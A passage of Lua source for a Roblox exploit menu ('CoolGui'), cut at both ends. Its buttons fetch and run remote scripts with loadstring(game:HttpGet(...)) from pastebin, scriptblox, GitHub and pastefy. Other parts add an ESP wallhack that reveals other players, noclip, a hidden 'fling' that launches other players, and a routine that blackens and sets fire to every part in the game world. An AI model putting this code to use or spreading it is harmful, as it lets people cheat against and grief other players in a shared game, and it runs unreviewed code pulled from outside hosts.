--local fr = Instance.new("Frame")
--fr.Parent = bb
--fr.Size = UDim2.new(1, 0, 1, 0)
--fr.Style = Enum.FrameStyle.RobloxRound
local tl = Instance.new("TextLabel")
tl.Parent = bb
tl.Font = Enum.Font.Code
tl.BackgroundTransparency = 1
tl.TextScaled = true
tl.TextColor3 = Color3.new(15/255, 15/255, 15/255)
tl.Size = UDim2.new(1, 0, 1, 0)
tl.Text = hackerInp.Text
tl.Name = "trutag"
tl.Visible = true
tl.ZIndex = 2
end)
hackerInp = localwin:drawTextBox(1/2, 'Hacker')
--[[ scripts ]]--
-- excuse my disgusting code :v
local scriptwin = topkek.libgui:hookContainer(base['ScriptsContainer'])
local search = scriptwin:drawTextBox(1,'')
local origy = scriptwin:getDrawY()
scriptwin:addSpacing()
scriptwin:addSpacing()
local a = Instance.new("LocalScript");a.Name='script 1'
local b = Instance.new("LocalScript");b.Name='script 2'
local c = Instance.new("LocalScript");c.Name='script 3'
local scripts = {a,b,c}
local container = {}
function MakeList(condition)
for i,v in pairs(scriptwin:GetChildren()) do
if v.Name == "Script" then
v:Destroy()
end
end
scriptwin:setDrawY(origy)
for i, v in pairs(scripts) do
if string.find(v.Name, condition) or (condition == "") or (condition == " ") then
local scr = scriptwin:drawButton(1, v.Name, function()
print('no loadstring lol')
end, 25)
scr.Name = 'Script'
end
end
end
game:GetService("UserInputService").InputChanged:connect(function(inp)
if inp.UserInputType == Enum.UserInputType.TextInput then
if search:IsFocused() then
MakeList(search.Text)
end
end
end)
MakeList('')
--[[ misc main ]]--
local miscwin = topkek.libgui:hookContainer(base['MiscellaneousContainer'])
local scroll = miscwin:drawScrollingContainer(165)
scroll:center()
for i, v in pairs(topkek.libsettings:getSetting("misc")) do
scroll:drawButton(1, v, function()
topkek.libwindows:switchWindow(v .. 'Container', v)
end)
end
scroll.main.CanvasSize = scroll.main.CanvasSize - UDim2.new(0, 0, 0, 3)
--[[ initiation ]]--
topkek.libwindows:registerWindow(base['HomeContainer'])
topkek.libwindows:registerWindow(base['ServerContainer'])
topkek.libwindows:registerWindow(base['PlayersContainer'])
topkek.libwindows:registerWindow(base['LocalPlayerContainer'])
topkek.libwindows:registerWindow(base['ScriptsContainer'])
topkek.libwindows:registerWindow(base['MiscellaneousContainer'])
topkek.libwindows:initiateNavigator()
topkek.libwindows:initiateHome()
end)
end;
task.spawn(C_2b);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_2d()
local script = G2L["2d"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
for i,v in next,workspace:children''do
if(v:IsA'BasePart')then
me=v;
bbg=Instance.new('BillboardGui',me);
bbg.Name='stuf';
bbg.Adornee=me;
bbg.Size=UDim2.new(2.5,0,2.5,0)
--bbg.StudsOffset=Vector3.new(0,2,0)
tlb=Instance.new'TextLabel';
tlb.Text='666 666 666 666 666 666';
tlb.Font='SourceSansBold';
tlb.FontSize='Size48';
tlb.TextColor3=Color3.new(1,0,0);
tlb.Size=UDim2.new(1.25,0,1.25,0);
tlb.Position=UDim2.new(-0.125,-22,-1.1,0);
tlb.BackgroundTransparency=1;
tlb.Parent=bbg;
end;end;
function xds(dd)
for i,v in next,dd:children''do
if(v:IsA'BasePart')then
v.BrickColor=BrickColor.new'Really black';
v.TopSurface='Smooth';
v.BottomSurface='Smooth';
s=Instance.new('SelectionBox',v);
s.Adornee=v;
s.Color=BrickColor.new'Really red';
a=Instance.new('PointLight',v);
a.Color=Color3.new(1,0,0);
a.Range=15;
a.Brightness=5;
f=Instance.new('Fire',v);
f.Size=19;
f.Heat=22;
end;
game.Lighting.TimeOfDay=0;
game.Lighting.Brightness=0;
game.Lighting.ShadowColor=Color3.new(0,0,0);
game.Lighting.Ambient=Color3.new(1,0,0);
game.Lighting.FogEnd=200;
game.Lighting.FogColor=Color3.new(0,0,0);
local dec = 'http://www.roblox.com/asset/?id=19399245';
local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'}
--coroutine.wrap(function()
--for ,_ in pairs(fac) do
--local ddec = Instance.new("Decal", v)
--ddec.Face =
--ddec.Texture = dec
--end end)()
if #(v:GetChildren())>0 then
xds(v)
end
end
end
xds(game.Workspace)
local s = Instance.new("Sound")
s.Name = "Sound"
s.SoundId = "http://www.roblox.com/asset/?id=35935204"
s.Volume = 1
s.Pitch = 0.9
s.Looped = true
s.archivable = false
s.Parent = game.Workspace
wait(1)
s:play()
end)
end;
task.spawn(C_2d);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_2f()
local script = G2L["2f"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-RoXploit-by-KrystalTeam-9328"))()
end)
end;
task.spawn(C_2f);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_31()
local script = G2L["31"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/MjBzRjmT"))()
end)
end;
task.spawn(C_31);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_33()
local script = G2L["33"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
me = game.Players.LocalPlayer
if script.Parent.className ~= "HopperBin" then
h = Instance.new("HopperBin",me.Backpack)
h.Name = "LAZOR"
script.Parent = h
end
bin = script.Parent
function prop(part, parent, collide, tran, ref, x, y, z, color)
part.Parent = parent
part.formFactor = 0
part.CanCollide = collide
part.Transparency = tran
part.Reflectance = ref
part.Size = Vector3.new(x,y,z)
part.BrickColor = BrickColor.new(color)
part.TopSurface = 0
part.BottomSurface = 0
part:BreakJoints()
end
function weld(w, p, p0, p1, a, b, c, x, y, z)
w.Parent = p
w.Part0 = p0
w.Part1 = p1
w.C1 = CFrame.fromEulerAnglesXYZ(a,b,c) * CFrame.new(x,y,z)
end
function mesh(mesh, parent, x, y, z, type)
mesh.Parent = parent
mesh.Scale = Vector3.new(x, y, z)
mesh.MeshType = type
end
using = false
sound = Instance.new("Sound",me.Character.Head)
sound.Volume = 0.6
sound.Pitch = 1
sound.SoundId = "rbxasset://sounds/uuhhh.wav"
bin.Selected:connect(function(mouse)
mouse.Button1Down:connect(function()
if using then return end
using = true
local blagh = Instance.new("Model",me.Character)
blagh.Name = "LAZOR"
local paw = mouse.Hit.p
local pa1 = Instance.new("Part")
prop(pa1,blagh,false,0,0,1,1,1,"Really black")
local m1 = Instance.new("SpecialMesh")
mesh(m1, pa1, 1.07,1,0.3,"Brick")
local w1 = Instance.new("Weld")
weld(w1, me.Character.Head, me.Character.Head, pa1, 0.4, 0, 0, 0, -0.4, 0.9)
local pa2 = pa1:clone()
prop(pa2,blagh,false,0,0,1,1,1,"Really black")
local w2 = Instance.new("Weld")
weld(w2, me.Character.Head, me.Character.Head, pa2, -0.4, 0, 0, 0, 0.4, 0.9)
local pa3 = Instance.new("Part")
prop(pa3,blagh,false,0,0,1,1,1,"Really red")
local m3 = Instance.new("SpecialMesh")
mesh(m3,pa3,1.3,1.23,0.29,"Brick")
local w3 = Instance.new("Weld")
weld(w3, me.Character.Head, me.Character.Head, pa3, 0.4, 0, 0, 0, -0.4, 0.9)
local pa4 = pa3:clone()
prop(pa4,blagh,false,0,0,1,1,1,"Really red")
local w4 = Instance.new("Weld")
weld(w4, me.Character.Head, me.Character.Head, pa4, -0.4, 0, 0, 0, 0.4, 0.9)
local eye1a = Instance.new("Part")
prop(eye1a,blagh,false,0,0,1,1,1,"Institutional white")
eye1a.Shape = "Ball"
local emesh1 = Instance.new("SpecialMesh")
mesh(emesh1,eye1a,0.75,0.75,0.75,"Sphere")
local ew = Instance.new("Weld")
weld(ew, me.Character.Head, me.Character.Head, eye1a, 0, 0, 0, 0.45, -1.3, 1.1)
local eye1b = Instance.new("Part")
prop(eye1b,blagh,false,0,0,1,1,1,"Really black")
eye1b.Shape = "Ball"
local emesh1b = Instance.new("SpecialMesh")
mesh(emesh1b,eye1b,0.4,0.4,0.4,"Sphere")
local ew2 = Instance.new("Weld")
weld(ew2, eye1a, eye1a, eye1b, 0, 0, 0, 0.09, -0.04, 0.2)
local eye2a = eye1a:clone()
prop(eye2a,blagh,false,0,0,1,1,1,"Institutional white")
local ew3 = Instance.new("Weld")
weld(ew3, me.Character.Head, me.Character.Head, eye2a, 0, 0, 0, -0.45, -1.3, 1.1)
local eye2b = eye1b:clone()
prop(eye2b,blagh,false,0,0,1,1,1,"Really black")
local ew5 = Instance.new("Weld")
weld(ew5, eye2a, eye2a, eye2b, 0, 0, 0, -0.05, 0.07, 0.2)
local bill = Instance.new("BillboardGui",pa1)
bill.Adornee = bill.Parent
bill.Size = UDim2.new(0,150,0,80)
local txt = Instance.new("TextLabel",bill)
txt.Size = UDim2.new(0,0,0,0)
txt.Position = UDim2.new(0,100,0,-20)
txt.Text = "IMA FIRIN' MAH LAZORR!!"
txt.FontSize = "Size24"
txt.TextColor3 = Color3.new(0,0,0)
sound.Volume = 0.6
for i=1, 5 do
sound.Pitch = math.random(400,900)/1000
sound:play()
wait(0.1)
end
local bg = Instance.new("BodyGyro",me.Character.Torso)
bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
bg.cframe = CFrame.new(me.Character.Torso.Position, paw)
for i=1, 5 do
sound.Pitch = math.random(400,900)/1000
sound:play()
wait(0.2)
end
txt.Text = "BLAARGHH!!!!!!"
sound.Volume = 0.85
for i=1, 60 do
local dist = (me.Character.Head.Position - paw).magnitude
if dist >= 600 then
dist = 600
end
bg.cframe = CFrame.new(me.Character.Torso.Position, paw)
sound.Pitch = math.random(550,750)/1000
sound:play()
local bewm = Instance.new("Part")
prop(bewm, blagh, false, 0.4, 0.25, 1, 1, dist, "Cyan")
bewm.Anchored = true
local mes = Instance.new("SpecialMesh")
mesh(mes,bewm,1.2,1.2,1,"Brick")
bewm.CFrame = CFrame.new(me.Character.Head.Position, paw) * CFrame.new(0,0,-bewm.Size.Z/2) * CFrame.new(0,0,-1)
local luck = math.random(1,3)
if luck == 1 then
local cfr = Instance.new("Part",blagh)
cfr.Size = Vector3.new(1,1,1)
cfr.Transparency = 1
cfr.Anchored = true
cfr.CFrame = bewm.CFrame * CFrame.new(0,0,-bewm.Size.Z/2)
local ex = Instance.new("Explosion")
ex.Parent = blagh
ex.Position = cfr.Position
ex.BlastRadius = 9
ex.BlastPressure = 400000
ex.Hit:connect(function(part)
if part:GetMass() < 240 then
part.Anchored = false
part:BreakJoints()
end
end)
end
wait()
bewm:remove()
end
blagh:remove()
bg:remove()
using = false
end)
end)
end)
end;
task.spawn(C_33);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_35()
local script = G2L["35"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid
local input2 = script.Parent.Parent.Parent.Parent.Settings.Page.Section2.mpid
local Workspace = game.Workspace
button.MouseButton1Down:Connect(function()
for i,v in pairs(game.Workspace:GetChildren()) do
if v.className == "Sound" then
v:Stop()
v:Remove()
end
end
s = Instance.new("Sound",Workspace)
s.SoundId = "rbxassetid://"..input.Text
s.Volume = 1
s.Looped = true
s.Pitch = input2.Text
s:Play()
wait(.1)
s:Play()
end)
end;
task.spawn(C_35);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_37()
local script = G2L["37"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/retpirato/Roblox-Scripts/refs/heads/master/Grab%20Knife%20V4.lua"))()
end)
end;
task.spawn(C_37);
-- StarterGui.CoolGui.Frame.right.LocalScript
local function C_39()
local script = G2L["39"];
local button = script.Parent
button.MouseButton1Down:connect(function()
if script.Parent.Parent.Page1.Visible == true then
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page2.Visible = true
script.Parent.Parent.Page3.Visible = false
script.Parent.Parent.Page4.Visible = false
script.Parent.Parent.Page5.Visible = false
script.Parent.Parent.Page6.Visible = false
elseif script.Parent.Parent.Page2.Visible == true then
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page3.Visible = true
script.Parent.Parent.Page4.Visible = false
script.Parent.Parent.Page5.Visible = false
script.Parent.Parent.Page6.Visible = false
elseif script.Parent.Parent.Page3.Visible == true then
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page3.Visible = false
script.Parent.Parent.Page4.Visible = true
script.Parent.Parent.Page5.Visible = false
script.Parent.Parent.Page6.Visible = false
elseif script.Parent.Parent.Page4.Visible == true then
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page3.Visible = false
script.Parent.Parent.Page4.Visible = false
script.Parent.Parent.Page5.Visible = true
script.Parent.Parent.Page6.Visible = false
elseif script.Parent.Parent.Page5.Visible == true then
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page3.Visible = false
script.Parent.Parent.Page4.Visible = false
script.Parent.Parent.Page5.Visible = false
script.Parent.Parent.Page6.Visible = true
elseif script.Parent.Parent.Page6.Visible == true then
script.Parent.Parent.Page1.Visible = true
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page3.Visible = false
script.Parent.Parent.Page4.Visible = false
script.Parent.Parent.Page5.Visible = false
script.Parent.Parent.Page6.Visible = false
end
end)
end;
task.spawn(C_39);
-- StarterGui.CoolGui.Frame.Settings.SettingsButton.SettingsCloseOpen
local function C_3d()
local script = G2L["3d"];
local TweenService = game:GetService("TweenService")
local page = script.Parent.Parent
local sbutton = script.Parent
local cango = true
local closedPosition = UDim2.new(1, -300, 0, 0)
local openPosition = UDim2.new(1, 3, 0, 0)
local tweenTime = 0.5
local function togglePage()
if not cango then return end
cango = false
if sbutton.Text == "<" then
sbutton.Text = ">"
local tween = TweenService:Create(page, TweenInfo.new(tweenTime, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {Position = closedPosition})
tween:Play()
tween.Completed:Wait()
else
sbutton.Text = "<"
local tween = TweenService:Create(page, TweenInfo.new(tweenTime, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {Position = openPosition})
tween:Play()
tween.Completed:Wait()
end
cango = true
end
sbutton.MouseButton1Click:Connect(togglePage)
end;
task.spawn(C_3d);
-- StarterGui.CoolGui.Frame.Settings.addonr.LocalScript
local function C_3f()
local script = G2L["3f"];
local button = script.Parent
local pge1 = game.Players.LocalPlayer.PlayerGui.CoolGui.Frame.Settings.Page
local pge2 = game.Players.LocalPlayer.PlayerGui.CoolGui.Frame.Settings.Page2
button.MouseButton1Down:connect(function()
if pge1.Visible == true then
pge1.Visible = false
pge2.Visible = true
elseif pge2.Visible == true then
pge2.Visible = false
pge1.Visible = true
end
end)
end;
task.spawn(C_3f);
-- StarterGui.CoolGui.Frame.Settings.addonl.LocalScript
local function C_41()
local script = G2L["41"];
local button = script.Parent
local pge1 = game.Players.LocalPlayer.PlayerGui.CoolGui.Frame.Settings.Page
local pge2 = game.Players.LocalPlayer.PlayerGui.CoolGui.Frame.Settings.Page2
button.MouseButton1Down:connect(function()
if pge1.Visible == true then
pge1.Visible = false
pge2.Visible = true
elseif pge2.Visible == true then
pge2.Visible = false
pge1.Visible = true
end
end)
end;
task.spawn(C_41);
-- StarterGui.CoolGui.Frame.Settings.Page.Section2.espbut.LocalScript
local function C_4e()
local script = G2L["4e"];
local button = script.Parent
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local COREGUI = game:GetService("CoreGui")
local LP = Players.LocalPlayer
local ESPenabled = false
-- Functions for creating and updating highlights
local function CreateAllHighlight()
for _, player in pairs(Players:GetPlayers()) do
if player ~= LP and player.Character and not player.Character:FindFirstChild("Highlight") then
local highlight = Instance.new("Highlight")
highlight.Parent = player.Character
highlight.FillColor = Color3.fromRGB(0, 225, 0)
end
end
end
local function UpdateAllHighlights()
for _, player in pairs(Players:GetPlayers()) do
if player ~= LP and player.Character then
local highlight = player.Character:FindFirstChild("Highlight")
if highlight then
highlight.FillColor = Color3.fromRGB(0, 225, 0)
end
end
end
end
local function ClearAllHighlights()
for _, player in pairs(Players:GetPlayers()) do
if player.Character then
local highlight = player.Character:FindFirstChild("Highlight")
if highlight then
highlight:Destroy()
end
end
end
end
-- ESP Creation
local function CreateESP(player)
if player.Character and player.Character:FindFirstChild("Head") then
local ESPholder = Instance.new("Folder")
ESPholder.Name = player.Name .. "_ESP"
ESPholder.Parent = COREGUI
local BillboardGui = Instance.new("BillboardGui")
BillboardGui.Adornee = player.Character.Head
BillboardGui.Name = player.Name
BillboardGui.Parent = ESPholder
BillboardGui.Size = UDim2.new(0, 100, 0, 150)
BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
BillboardGui.AlwaysOnTop = true
local TextLabel = Instance.new("TextLabel")
TextLabel.Parent = BillboardGui
TextLabel.BackgroundTransparency = 1
TextLabel.Position = UDim2.new(0, 0, 0, -50)
TextLabel.Size = UDim2.new(0, 100, 0, 100)
TextLabel.Font = Enum.Font.SourceSansSemibold
TextLabel.TextSize = 17
TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.TextStrokeTransparency = 0.3
TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
TextLabel.Text = '@' .. player.Name .. ' | ' .. player.DisplayName
TextLabel.ZIndex = 10
end
end
local function RemoveESP(player)
local ESP = COREGUI:FindFirstChild(player.Name .. "_ESP")
if ESP then
ESP:Destroy()
end
end
-- Manage Highlights and ESP when button is clicked
button.MouseButton1Down:Connect(function()
if button.Text == "Off" then
ESPenabled = true
CreateAllHighlight()
UpdateAllHighlights()
for _, player in pairs(Players:GetPlayers()) do
if player ~= LP then
RemoveESP(player)
CreateESP(player)
player.CharacterAdded:Connect(function()
wait(2)
CreateAllHighlight()
UpdateAllHighlights()
if ESPenabled then
RemoveESP(player)
CreateESP(player)
end
end)
end
end
button.Text = "On"
else
ESPenabled = false
ClearAllHighlights()
for _, player in pairs(Players:GetPlayers()) do
RemoveESP(player)
end
button.Text = "Off"
end
end)
end;
task.spawn(C_4e);
-- StarterGui.CoolGui.Frame.Settings.Page.Section1.noclipbut.LocalScript
local function C_56()
local script = G2L["56"];
local button = script.Parent
local RunService = game:GetService("RunService")
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local noclipConnection
button.MouseButton1Click:Connect(function()
if button.Text == "Off" then
if noclipConnection then noclipConnection:Disconnect() end
noclipConnection = RunService.Stepped:Connect(function()
if not character then return end
for _, v in pairs(character:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
end)
button.Text = "On"
else
if noclipConnection then
noclipConnection:Disconnect()
noclipConnection = nil
end
button.Text = "Off"
end
end)
end;
task.spawn(C_56);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_75()
local script = G2L["75"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:GetObjects("rbxassetid://6695644299")[1].Source)()
end)
end;
task.spawn(C_75);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_77()
local script = G2L["77"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Script/main/Gravity%20Gun"))()
end)
end;
task.spawn(C_77);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_79()
local script = G2L["79"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastefy.app/lawnvcTT/raw", true))()
end)
end;
task.spawn(C_79);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_7b()
local script = G2L["7b"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local plr = game.Players.LocalPlayer
local tool = Instance.new("Tool", plr.Backpack)
tool.GripPos = Vector3.new(0, 0, -1.5)
tool.GripForward = Vector3.new(0, -1, 0) -- Adjusted to face upward
tool.GripRight = Vector3.new(1, 0, 0)
tool.GripUp = Vector3.new(0, 0, 1)
tool.Name = "Punch"
tool.TextureId = "rbxassetid://1545265044"
tool.RequiresHandle = true
tool.CanBeDropped = true
local k = Instance.new("Part", tool)
k.Name = "Handle"
k.Size = Vector3.new(1, 0.8, 4)
k.Anchored = false
k.CanCollide = false
local mesh = Instance.new("SpecialMesh", k)
mesh.MeshId = "" -- Replace with your mesh ID
mesh.TextureId = ""
mesh.Scale = Vector3.new(0, 0, 0)
mesh.Offset = Vector3.new(0, 0, 0)
mesh.VertexColor = Vector3.new(1, 1, 1)
local Unsheath = Instance.new("Sound", k)
Unsheath.SoundId = ""
Unsheath.Volume = "1"
Unsheath.TimePosition = 0
local SwordSlash = Instance.new("Sound", k)
SwordSlash.SoundId = "http://www.roblox.com/asset/?id=8595980577"
SwordSlash.Volume = "1"
SwordSlash.TimePosition = 0
local l = Instance.new("Animation", tool)
l.AnimationId = "rbxassetid://204062532"
local m = plr.Character.Humanoid:LoadAnimation(l)
local db = true
local da = false
tool.Equipped:Connect(function()
Unsheath:Play()
wait(1)
tool.Activated:Connect(function()
if db == true then
db = false
SwordSlash:Play()
m:Play()
wait()
da = true
db = true
wait(2)
da = false
m:Stop()
end
end)
end)
k.Touched:Connect(function(n)
if da == true then
local o = n.Parent:FindFirstChild("Humanoid")
if o ~= nil then
local p = game.Players:FindFirstChild(n.Parent.Name)
for j = 1, 10 do
if p.Name ~= "FunnyVideo15" then
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
local detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
end
end
end
end
wait(2)
hiddenfling = false
end)
end)
end;
task.spawn(C_7b);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_7d()
local script = G2L["7d"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local plr = game.Players.LocalPlayer
local tool = Instance.new("Tool", plr.Backpack)
tool.GripPos = Vector3.new(0, 0, -1.5)
tool.GripForward = Vector3.new(0, -1, 0) -- Adjusted to face upward
tool.GripRight = Vector3.new(1, 0, 0)
tool.GripUp = Vector3.new(0, 0, 1)
tool.Name = "ClassicSword"
tool.TextureId = "rbxasset://Textures/Sword128.png"
tool.RequiresHandle = true
tool.CanBeDropped = true
local k = Instance.new("Part", tool)
k.Name = "Handle"
k.Size = Vector3.new(1, 0.8, 4)
k.Anchored = false
k.CanCollide = false
local mesh = Instance.new("SpecialMesh", k)
mesh.MeshId = "rbxasset://fonts/sword.mesh" -- Replace with your mesh ID
mesh.TextureId = "rbxasset://textures/SwordTexture.png"
mesh.Scale = Vector3.new(1, 1, 1)
mesh.Offset = Vector3.new(0, 0, 0)
mesh.VertexColor = Vector3.new(1, 1, 1)
local Unsheath = Instance.new("Sound", k)
Unsheath.SoundId = "http://www.roblox.com/asset/?id=12222225"
Unsheath.Volume = "1"
Unsheath.TimePosition = 0
local SwordSlash = Instance.new("Sound", k)
SwordSlash.SoundId = "http://www.roblox.com/asset/?id=12222216"
SwordSlash.Volume = "1"
SwordSlash.TimePosition = 0
local l = Instance.new("Animation", tool)
l.AnimationId = "rbxassetid://94161088"
local m = plr.Character.Humanoid:LoadAnimation(l)
local db = true
local da = false
tool.Equipped:Connect(function()
Unsheath:Play()
wait(1)
tool.Activated:Connect(function()
if db == true then
db = false
SwordSlash:Play()
m:Play()
wait()
da = true
db = true
wait(2)
da = false
m:Stop()
end
end)
end)
k.Touched:Connect(function(n)
if da == true then
local o = n.Parent:FindFirstChild("Humanoid")
if o ~= nil then
local p = game.Players:FindFirstChild(n.Parent.Name)
for j = 1, 10 do
if p.Name ~= "FunnyVideo15" then
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
local detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
end
end
end
end
wait(2)
hiddenfling = false
end)
wait(2)
end)
end;
task.spawn(C_7d);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_7f()
local script = G2L["7f"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
print("Hello World!")
end)
end;
task.spawn(C_7f);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
local function C_81()
local script = G2L["81"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
-- Toggle : [=] (enable / disable drawing)
-- Undo : [Z] (remove last drawn line in canvas)
-- Draw : [Left Click] (draw)
-- Clear : [F] (clear canvas)
-- Rainbow : [R] (toggle rainbow color drawings)
-- Neon Glow : [X] (toggle glowing drawings)
-- Other in GUI
-- Toxicity : [Q] (toggle toxicity aka kills people)
local plr = game:GetService("Players").LocalPlayer
char = plr.Character
mouse = plr:GetMouse()
function tween(object,style,direction,t,goal)
local tweenservice = game:GetService("TweenService")
local tweenInfo = TweenInfo.new(t,Enum.EasingStyle[style],Enum.EasingDirection[direction])
local tween = tweenservice:Create(object,tweenInfo,goal)
tween:Play()
return tween
end
enabled = true
local pgui = game.Players.LocalPlayer:WaitForChild("PlayerGui")
GUI = Instance.new("ScreenGui")
GUI.ResetOnSpawn = false
Frame1 = Instance.new("Frame")
TextLabel2 = Instance.new("TextLabel")
Frame3 = Instance.new("Frame")
Frame4 = Instance.new("Frame")
Frame5 = Instance.new("Frame")
Frame6 = Instance.new("Frame")
TextLabel7 = Instance.new("TextLabel")
TextLabel8 = Instance.new("TextLabel")
TextLabel9 = Instance.new("TextLabel")
TextLabel10 = Instance.new("TextLabel")
Frame11 = Instance.new("Frame")
Frame12 = Instance.new("Frame")
Frame13 = Instance.new("Frame")
Frame14 = Instance.new("Frame")
Frame15 = Instance.new("Frame")
Frame16 = Instance.new("Frame")
ImageButton17 = Instance.new("ImageButton")
TextLabel18 = Instance.new("TextLabel")
ImageButton19 = Instance.new("ImageButton")
LocalScript20 = Instance.new("LocalScript")
Color3Value21 = Instance.new("Color3Value")
TextLabel22 = Instance.new("TextLabel")
TextLabel23 = Instance.new("TextLabel")
TextLabel24 = Instance.new("TextLabel")
TextLabel25 = Instance.new("TextLabel")
GUI.Parent = pgui
Frame1.Name = "Settings"
Frame1.Parent = GUI
Frame1.Transparency = 0.80000001192093
Frame1.Size = UDim2.new(0, 191, 0, 130)
Frame1.Position = UDim2.new(0, 266, 0, 130)
Frame1.Active = true
Frame1.BackgroundColor3 = Color3.new(0.0470588, 0.0509804, 0.0588235)
Frame1.BackgroundTransparency = 0.80000001192093
Frame1.BorderColor3 = Color3.new(1, 1, 1)
Frame1.BorderSizePixel = 0
Frame1.Draggable = true
TextLabel2.Parent = Frame1
TextLabel2.Size = UDim2.new(0, 191, 0, 15)
TextLabel2.Text = "Neodymn's Draw Tool"
TextLabel2.Position = UDim2.new(0, 0, 0, 5)
TextLabel2.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel2.BackgroundTransparency = 1
TextLabel2.Font = Enum.Font.SourceSansBold
TextLabel2.TextSize = 22
TextLabel2.TextColor3 = Color3.new(1, 1, 1)
TextLabel2.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel2.TextWrapped = false
Frame3.Parent = Frame1
Frame3.Size = UDim2.new(0, 3, 1, 0)
Frame3.Position = UDim2.new(0, -3, 0, 0)
Frame3.BackgroundColor3 = Color3.new(1, 1, 1)
Frame3.BorderSizePixel = 0
Frame4.Parent = Frame1
